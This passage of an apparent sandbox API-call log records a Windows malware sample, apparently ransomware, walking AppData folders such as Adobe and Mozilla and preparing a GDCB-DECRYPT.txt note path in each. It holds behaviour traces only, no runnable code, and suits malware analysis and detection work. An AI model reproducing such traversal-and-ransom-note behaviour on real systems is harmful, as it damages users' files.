Data\\Application Data\\Application Data\\MicrosoftEdge" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 219 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 213 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 214 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 219 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 216 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 210 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 230 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 219 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 218 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.341] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.342] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 223 [0170.342] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.343] GetLastError () returned 0x50 [0170.343] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 206 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.344] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\" [0170.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.344] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 212 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.344] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.344] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.344] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.344] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 219 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.344] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 219 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.344] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 217 [0170.344] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.345] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 228 [0170.345] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.345] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 229 [0170.345] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.346] GetLastError () returned 0x50 [0170.346] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 212 [0170.347] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.347] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.347] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.347] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0170.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.347] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 220 [0170.347] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.347] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5f5d70 [0170.347] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.347] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 222 [0170.347] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.347] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 236 [0170.347] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.347] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 237 [0170.348] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.349] GetLastError () returned 0x50 [0170.350] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 220 [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.350] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5f5b70 [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and 